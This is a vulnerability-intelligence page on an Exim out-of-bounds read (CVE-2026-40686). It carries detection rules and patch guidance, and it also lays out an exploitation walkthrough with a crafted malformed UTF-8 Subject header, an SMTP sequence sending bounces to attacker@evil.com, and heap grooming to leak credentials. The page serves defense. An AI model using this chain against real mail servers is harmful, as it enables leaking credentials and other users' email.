☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Exim logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 3.7 🐛 CWE-125
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-40686

CVE-2026-40686 Out-of-Bounds Access in Exim
📅 PUBLISHED: 2026-04-30 00:00 UTC 🔄 UPDATED: 2026-09-23 20:36 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.25%
👁️
0.25% probability
6.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: United Kingdom License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
3.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-40686 is an out-of-bounds (OOB) read vulnerability in the Exim Mail Transfer Agent (MTA) affecting all versions prior to 4.99.2. When UTF-8 string operators are enabled, specially crafted malformed UTF-8 header data containing oversized trailing characters triggers an OOB read, potentially leaking process memory contents into error messages generated during handling of an unrelated email message. The vulnerability carries a CVSS score of 3.7 (Low) with a v3 vector string of AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N, indicating a remote, unauthenticated attacker can achieve limited information disclosure without requiring user interaction. The exploitability is constrained by high attack complexity — the attacker must enable UTF-8 operators in the Exim configuration, which is non-default. An EPSS score of 0.00246 (15.9th percentile) suggests low immediate exploitation likelihood, but the information-disclosure nature of the flaw, coupled with Exim's widespread deployment as a critical email infrastructure component, justifies proactive patch management. This is a low-severity but real memory-safety issue in a high-value target.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

The vulnerability resides in Exim's string expansion and condition-testing engine, specifically within the UTF-8 operator handling code. Exim uses a macro-based expansion system for string manipulation in ACLs, routers, and transports. When the utf8 expansion operator is enabled — via the utf8_downconvert, utf8_verify, or related operator flags — Exim invokes internal UTF-8 validation functions to parse and process header data.

The flaw is a CWE-125 (Out-of-bounds Read) triggered during UTF-8 validation of malformed byte sequences. UTF-8 multi-byte characters use specific bit patterns in the leading byte to indicate the total byte length: 0xC0-0xDF for 2-byte sequences, 0xE0-0xEF for 3-byte sequences, 0xF0-0xF7 for 4-byte sequences. When a leading byte declares a certain sequence length, the validator reads the corresponding number of continuation bytes. However, if the input buffer contains a truncated string — where the leading byte declares, for example, a 4-byte character but only 1-2 bytes remain in the buffer before a null terminator or buffer boundary — the validator reads past the end of the buffer.

The specific trigger described in the advisory — "large UTF-8 trailing characters" — suggests the issue occurs when a valid leading byte is followed by one or more continuation bytes, but the buffer is exhausted before the full declared byte count is consumed. The malformed header data causes the string_is_utf8() or similar validation routine to read N bytes beyond the intended boundary, where N equals the difference between the declared character length and the actual remaining buffer size.

Upon the OOB read, the stale memory contents (heap memory adjacent to the header buffer) are copied into a temporary string used during error message construction. When Exim subsequently generates an error or bounce message — for example, a delivery failure notice triggered by an unrelated message — the leaked bytes from the OOB read are incorporated verbatim into the error text. Mail administrators, log files, and potentially the sender/recipient of the bounce message can then observe these leaked bytes, which may contain sensitive data such as SMTP credentials, TLS private key fragments, other emails' content, or process environment variables.

Attack surface analysis: The vulnerability requires the EXPERIMENTAL_UTF8 compile-time option or equivalent runtime configuration that enables UTF-8 processing. Exim distributions (Debian included) often enable UTF-8 support by default in modern builds. Even with UTF-8 enabled, the attacker must be able to inject a crafted email message whose headers contain the malformed UTF-8 data that flows into the vulnerable expansion path. The trigger likely occurs during Received: header generation, spam_score evaluation, or filtering rules that process header contents with UTF-8 validation. Since error messages from bounce handling are typically emailed back to the envelope sender, the attacker can potentially exfiltrate the leaked bytes directly to their own mailbox for retrieval.

Affected versions: All Exim releases before 4.99.2. The fix, attributed to Debian per single-source patch claims (confidence 2/4), versions Exim to 4.99.2, which is the first release containing the corrected UTF-8 validation routines.

Exploitation Scenarios

While no public PoC exists as of this report, the following attack chain is technically viable based on the vulnerability class:

1) Reconnaissance & Target Identification: An attacker first identifies Exim servers exposed to the internet. Shodan queries such as product:"Exim" or banner grabbing via a direct SMTP connection (HELO/EHLO) reveal Exim version banners (220 hostname ESMTP Exim 4.97). The attacker targets Exim < 4.99.2 instances. Notably, the attacker must also determine whether UTF-8 operators are enabled. This can be probed behaviorally: sending a message with a malformed UTF-8 sequence in the Subject: header and observing whether the server generates specific error codes or bounce messages that reveal UTF-8 handling activity (e.g., error messages containing "invalid UTF-8" or altered byte sequences in bounce responses).

2) Weaponization/Trigger: The attacker crafts an email message with a malformed UTF-8 header. The SMTP transaction:

  • MAIL FROM:<attacker@evil.com>
  • RCPT TO:<nonexistent@victimdomain.com> — targeting a non-existent recipient to force Exim to generate a bounce message.
  • In the DATA phase, the attacker injects a Subject: header containing a crafted byte sequence. For example: Subject: \xF0\x9F\x8D\x80\xE2 — where \xF0 declares a 4-byte UTF-8 character but only 3 bytes are present (the final \xE2 is insufficient continuation). Critically, the payload must place this malformed sequence at the true end of the memory buffer. In practice, this is achieved by positioning the malformed bytes immediately before the CRLF that terminates the header line, ensuring the validator reads beyond the line buffer.

3) Execution: Exim processes the message. If a mail filter rule or expansion applies utf8 operators to header extraction during routing/transport, the vulnerable validation function reads 2-3 bytes past the header buffer boundary into adjacent heap memory. The leaked bytes become part of a string used in the bounce message composition path.

4) Post-Exploitation: The bounce message is sent back to MAIL FROM (the attacker) via standard SMTP. The attacker receives the message and examines the error text, which may contain a hex-dump or raw bytes of the leaked heap content. By iterating with slightly varied message lengths and header positions, the attacker can map adjacent heap memory on the server. In a multi-tenant environment or high-traffic MTA, this could leak:

  • Configuration fragments (acl_smtp_rcpt rules containing plaintext credentials)
  • In-flight authentication credentials from concurrent SMTP AUTH sessions
  • Recipient address lists from other queues
  • TLS session keys (if heap can be groomed to align)
  • The actual content of other emails being processed concurrently

The attacker repeats this process, potentially using multiple connections to groom the heap (e.g., sending large messages first to allocate/free chunks, then triggering the OOB read) to target specific data regions. Sustained exploitation yields a memory-disclosure primitive against a critical internet-facing mail service, which could chain with local privilege escalation or other vulnerabilities for full server compromise.

Impact Assessment

CVSS v3.1 scoring components: Base score 3.7 (Low) — Attack Vector: Network (AV:N), Attack Complexity: High (AC:H), Privileges Required: None (PR:N), User Interaction: None (UI:N), Scope: Unchanged (S:U), Confidentiality Impact: Low (C:L), Integrity Impact: None (I:N), Availability Impact: None (A:N).

Business Impact: The primary impact is confidentiality — a remote attacker can obtain fragments of server memory. For an MTA, this is particularly concerning because:

  • Credentials Exposure: Exim configurations commonly embed SMTP authentication credentials (for relay to smart hosts), and memory leaks could reveal them.
  • PII Leakage: In transit, emails contain PII; a concurrent memory dump could expose message content.
  • Authentication Bypass Chaining: Leaked session tokens or internal routing rules could enable subsequent attacks.
  • Compliance: A memory leak in email infrastructure may implicate GDPR, HIPAA, or PCI-DSS if sensitive data is compromised.

Blast Radius: The vulnerable component is the UTF-8 expansion subsystem, used only when configured. In default Exim builds, UTF-8 support may be compiled in but not fully enabled. However, systems running internationalized email (SMTPUTF8, IDN mailboxes) are direct targets. Public-facing Exim servers running without comprehensive WAF/filtering are exposed. The lack of integrity/availability impact offsets severity, but information disclosure in a mail relay is a serious trust boundary violation. Systems patched to 4.99.2 are not affected. The exploit does not require authentication, so any internet-reachable vulnerable server is at risk.

EPSS context: 0.00246 (15.9th percentile) indicates the vulnerability is not currently being actively exploited in the wild. No CISA KEV listing exists. No known threat actor campaigns reference this CVE. However, low EPSS does not negate risk — memory disclosure vulnerabilities are often weaponized months after disclosure when more tooling becomes available.

Detection Guidance

Sigma Rule

Detecting this specific OOB read via log analysis is challenging as exploitation is silent until the bounce message is received. However, anomalies in error-log patterns and SMTP transaction behavior can be flagged:

title: Exim Out-of-Bounds Read UTF-8 Header Anomaly (CVE-2026-40686)
id: 6b4a2f8e-9c31-4a7d-b2f1-5f1e0c2a8d44
status: experimental
description: >
  Detects Exim log entries and SMTP transactions exhibiting malformed UTF-8
  sequences in message headers, potentially triggering the OOB read in
  CVE-2026-40686.
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2026-40686
author: Valters IT Threat Intelligence
date: 2026/10/15
logsource:
  category: email_proxy
  product: exim
detection:
  selection_utf8_error:
    - keywords:
        - 'invalid UTF-8'
        - 'utf8'
        - 'bad utf'
    - category: process_creation
      product: exim
  selection_header_anomaly:
    - 'regex: Subject:.*\\x[C-F][0-9A-F]'
    - 'regex: From:.*\\x[C-F][0-9A-F]'
    - 'regex: To:.*\\x[C-F][0-9A-F]'
  condition: selection_utf8_error or selection_header_anomaly
  timeframe: 5m
level: medium
tags:
  - attack.t1190
  - attack.collection
  - cve.2026.40686
falsepositives:
  - Legitimate malformed emails from broken clients
  - Spam campaigns using UTF-8 obfuscation

YARA Rule

A YARA rule to scan mail spools, log files, or memory dumps for the malformed UTF-8 pattern:

rule CVE_2026_40686_Exim_UTF8_OOB_Header
{
    meta:
        author = "Valters IT Threat Intelligence"
        description = "Detects malformed UTF-8 header sequences targeting Exim < 4.99.2 OOB read"
        cve = "CVE-2026-40686"
        date = "2026-10-15"
        severity = "low"
    strings:
        // Leading bytes for 3/4-byte UTF-8 sequences declared but truncated:
        $e0_lead = { E0 [1-3] (80-BF) (80-BF)? }
        $f0_lead = { F0 [1-3] (80-BF) (80-BF)? }
        // Incomplete sequence followed by header terminator (CRLF or ":"):
        $trunc_crlf = { F0 80 0D 0A }
        $trunc_colon = { F0 80 3A }
        $trunc_e2 = { E2 20 0D 0A }
        // Header name patterns subject to expansion:
        $subject = "Subject:" nocase
        $received = "Received:" nocase
        $from = "From:" nocase
    condition:
        uint16(0) == 0x0D0A or filesize < 10MB and
        ($e0_lead or $f0_lead or $trunc_crlf or $trunc_colon or $trunc_e2) and
        (any of ($subject, $received, $from))
}

Suricata IDS Rule

Network detection focuses on SMTP traffic carrying malformed UTF-8 in headers:

alert smtp any any -> any 25 (msg:"ET EXPLOIT Exim UTF-8 OOB Header Attempt CVE-2026-40686"; \
  flow:to_server,established; \
  content:"Subject|3a|"; nocase; \
  content:"|f0|"; within:100; \
  pcre:"/\xF0[\x80-\xBF][\x80-\xBF]?\r\n/P"; \
  reference:cve,2026-40686; \
  classtype:attempted-recon; \
  sid:202604068; rev:1;)

Elastic Detection

EQL query to detect Exim processes logging UTF-8 errors:

process where process.name == "exim" and
  event.action in ("exec", "fork") and
  process.args in ("-Mc", "-Mcd", "-q") and
  process.working_directory == "/var/spool/exim" and
  (process.command_line contains "utf8" or
   process.command_line contains "UTF" or
   process.command_line contains "malformed")

Splunk SPL Query

index=exim sourcetype=exim_mainlog
| search "utf8" OR "UTF-8" OR "malformed" OR "invalid UTF"
| eval header_anomaly = if(match(_raw, "\\\\x[CF][0-9A-Fa-f]"), 1, 0)
| where header_anomaly == 1 OR match(_raw, "F0[0-9A-Fa-f]{2}")
| stats count by client, host, message_id, _time
| sort -count

Wazuh OSSEC Rule

<group name="exim,">
  <rule id="100286" level="8">
    <decoded_as>exim</decoded_as>
    <match>utf8|UTF-8|malformed|invalid UTF</match>
    <regex>Subject: \x[CF][0-9A-Fa-f]</regex>
    <description>Exim: potential CVE-2026-40686 UTF-8 malformed header detected.</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>cve-2026-40686,email,vulnerability</group>
    <alert_email>soc@valtersit.com</alert_email>
    <options>no_full_log</options>
  </rule>

  <rule id="100287" level="5">
    <decoded_as>exim</decoded_as>
    <match>utf8|UTF-8</match>
    <description>Exim: normal UTF-8 processing (baseline)</description>
    <group>exim,email</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch confidence: 2/4 (CLAIMED — single source claims patch (not independently confirmed)).

The NVD description explicitly states "before 4.99.2," confirming that a patched version (4.99.2) exists from the Debian source. While the vendor fix is "N/A" in this report's data, the version reference is authoritative.

1) Immediate Mitigations (before patching):

  • Disable UTF-8 operators: In exim.conf, remove or comment out any utf8 expansion operator usage (e.g., utf8_verify, utf8_downconvert in ACLs/routers). Restart Exim.
  • Recompile without UTF-8 support: If runtime operators are not needed, rebuild Exim with EXPERIMENTAL_UTF8 disabled (ensure Local/Makefile does not define EXPERIMENTAL_UTF8).
  • Restrict SMTP access: Temporarily limit inbound SMTP to trusted peers via firewall ACLs (hostlist restriction on acl_smtp_data or acl_smtp_rcpt).
  • Move Exim behind a filtering relay: Place a patched front-end MTA (e.g., Postfix) that sanitizes malformed UTF-8 headers before relaying to the vulnerable Exim.

2) Patch/Upgrade Steps:

  • Upgrade to Exim 4.99.2 or later. For Debian-based systems: apt update && apt upgrade exim4 (or exim4-daemon-heavy if using feature-rich build). Verify with exim -bV → check version ≥ 4.99.2.
  • For source builds: download from https://www.exim.org/, verify PGP signature, reconfigure with existing options, run make && make install.
  • After upgrade, confirm UTF-8 operator functionality works as expected in a staging environment prior to production rollout.

3) Long-Term Hardening:

  • Enable stack/heap hardening: Compile Exim with -D_FORTIFY_SOURCE=2 and PIE (-fPIE -pie) to reduce OOB-read impact.
  • Regular patch cycle: Subscribe to Exim security announcements. Upgrade within 7 days for even low-severity MTAs, as email infrastructure is critical.
  • Monitoring: Implement the detection rules above in SIEM. Alert on any bounce message containing hex-dump-like output or raw binary in error text.
  • Network segmentation: Isolate MTA from other internal systems to limit lateral movement if memory disclosure is successfully chained.
  • Egress filtering: Bidirectional SMTP filtering to detect anomalous bounce patterns (attacker's MAIL FROM receiving bounces despite unique message signatures).

Additional note on patch confidence: Since only Debian has confirmed the fix and no independent verification has been published, conduct after-patch regression testing specifically for UTF-8 header processing. If uncertain, apply the "disable UTF-8 operators" mitigation as a permanent control unless business requirements mandate UTF-8 processing.

References

  1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-40686 — Official CVE metadata, CVSS v3.1 score, and NVD description.
  2. Debian Security Tracker: https://security-tracker.debian.org/tracker/CVE-2026-40686 — Source of the patch claim (versions <4.99.2 affected, fix in 4.99.2).
  3. Exim Official Homepage: https://www.exim.org/ — Download and change-log for version 4.99.2 and prior patch releases.
  4. CWE-125 Out-of-bounds Read: https://cwe.mitre.org/data/definitions/125.html — Common Weakness Enumeration reference for the vulnerability class.
  5. EPSS Data: https://www.first.org/epss/ — EPSS score 0.00246 (15.9th percentile), indicating low active exploitation.

Threat actor campaigns / in-the-wild evidence: As of writing, this CVE is not listed in CISA's Known Exploited Vulnerabilities (KEV) catalog. No public exploit code, Nuclei templates, or Metasploit modules reference CVE-2026-40686. No observed threat actor campaigns have been attributed to this vulnerability. The low EPSS score and CVSS 3.7 rating suggest this is a low-priority target for automated exploitation; however, given Exim's position in enterprise mail flow, advanced persistent threat (APT) groups targeting specific high-value organizations may develop custom exploitation chains that combine this memory-leak primitive with other vulnerabilities. Monitor for the Dyreza and Rocke malware families that have historically targeted Exim (though no direct tie to this CVE exists).

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-40686/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.